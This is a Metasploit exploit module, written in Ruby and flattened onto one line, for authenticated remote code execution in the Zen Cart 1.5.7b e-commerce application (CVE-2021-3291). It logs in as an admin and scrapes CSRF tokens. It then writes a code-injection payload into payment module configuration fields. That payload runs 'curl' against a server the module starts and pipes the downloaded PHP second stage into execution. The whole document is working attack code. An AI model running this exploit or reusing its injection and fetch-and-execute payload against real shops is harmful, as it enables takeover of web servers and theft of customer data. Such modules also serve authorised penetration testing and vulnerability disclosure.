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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ### # # # This exploitwrite payload in database and trig to command # a bug in an zencart v1.5.7b web application # ### class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'zencart authenticated remote code execution exploit', 'Description'=> %q( This exploit module execution os command in zencart. ), 'License'=> MSF_LICENSE, 'Author' => ['Mucahit Saratar <trregen222@gmail.com>'], # msf module & research & poc 'References' =>[ [ 'OSVDB', '' ], [ 'EDB', '' ], [ 'URL', 'https://github.com/MucahitSaratar/zencart_auth_rce_poc'], [ 'CVE', '2021-3291'] ], 'Platform' => 'php', 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets'=> [ ['Automatic', { }] ], 'DisclosureDate' => '2021-01-22', 'DefaultTarget'=> 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', '']), OptString.new('BASEPATH', [ true, 'zencart base path eg. /zencart/', '/']), OptString.new('MODULE', [ true, 'Module name. eg. payment,shipping,ordertotal,plugin_manager', 'payment']), OptString.new('SETTING', [ true, 'setting name. eg. freecharger for payment', 'freecharger']), OptString.new('TARGETURI', [ true, 'Admin Panel Path', '/cracK-Fqu-trasH/']) ], self.class ) end def start_server ssltut = false if datastore["SSL"] ssltut = true datastore["SSL"] = false end start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) print_status("payload is on #{get_uri}") @adresim = get_uri datastore['SSL'] = true if ssltut end def on_request_uri(cli, request) print_good('First stage is executed ! Sending 2nd stage of the payload') send_response(cli, payload.encoded, {'Content-Type'=>'text/html'}) end def tabanyol datastore["BASEPATH"] end def isim datastore["USERNAME"] end def parola datastore["PASSWORD"] end def login #"index.php?cmd=login&camefrom=index.php" res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"), 'vars_get' => { 'cmd' => 'login', 'camefrom' => 'index.php' }) # <input type="hidden" name="securityToken" value="c77815040562301dafaef1c84b7aa3f3" /> unless res fail_with(Failure::Unreachable, "Access web application failure") end if res.code != 200 fail_with(Failure::Unreachable, "we not have 200 response") end if !res.get_cookies.empty? @cookie = res.get_cookies @csrftoken = res.body.scan(/<input type="hidden" name="securityToken" value="(.*)" \/>/).flatten[0] || '' if @csrftoken.empty? fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') end vprint_good("login Csrf token: "+@csrftoken) end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(tabanyol, target_uri.path, "index.php?cmd=login&camefrom=index.php"), 'cookie' => @cookie, 'vars_post' => { 'securityToken' => @csrftoken, 'action' => "do"+@csrftoken, 'admin_name' => isim, 'admin_pass' => parola }) if res.code != 302 fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.') end true end def check unless login fail_with(Failure::UnexpectedReply, 'Wrong credentials') return CheckCode::NotVulnerable('Wrong credentials') end print_good("We loged in") Exploit::CheckCode::Vulnerable CheckCode::Vulnerable('Authenticated successfully') end def exploit check start_server sleep(4) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"), 'vars_get' => { 'cmd' => 'modules', 'set' => datastore["MODULE"], 'module' => datastore["SETTING"], 'action' => 'edit' }, 'cookie' => @cookie ) if res.code != 200 fail_with(Failure::UnexpectedReply, 'Something Wron. code must be 200') end # <input type="hidden" name="securityToken" value="09068bece11256d03ba55fd2d1f9c820" /> if res && res.code == 200 @formtoken = res.body.scan(/<input type="hidden" name="securityToken" value="(.*)" \/>/).flatten[0] || '' if @formtoken.empty? fail_with(Failure::UnexpectedReply, 'securitytoken not in response') end #print_good(@formtoken) # <form name="modules" @radiolar = res.body.scan(/<input type="radio" name="configuration\[(.*)\]" value="True"/) @selectler = res.body.scan(/<select rel="dropdown" name="configuration\[(.*)\]" class="form-control">/) @textarr = res.body.scan(/<input type="text" name="configuration\[(.*)\]" value="0" class="form-control" \/>/) @secme = {} @secme["securityToken"] = @formtoken for @a in @radiolar @secme["configuration[#{@a[0]}]"] = "True','F'); echo <code>curl #{@adresim} |php</code>; //" end for @a in @selectler @secme["configuration[#{@a[0]}]"] = "0" end for @a in @textarr @secme["configuration[#{@a[0]}]"] = "0" end print_good(@secme.to_s) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"), 'cookie' => @cookie, 'vars_get' => { 'cmd' => 'modules', 'set' => datastore["MODULE"], 'module' => datastore["SETTING"], 'action' => 'save' }, 'vars_post' => @secme ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"), 'vars_get' => { 'cmd' => 'modules', 'set' => datastore["MODULE"], 'module' => datastore["SETTING"], 'action' => 'edit' }, 'cookie' => @cookie ) end end end |
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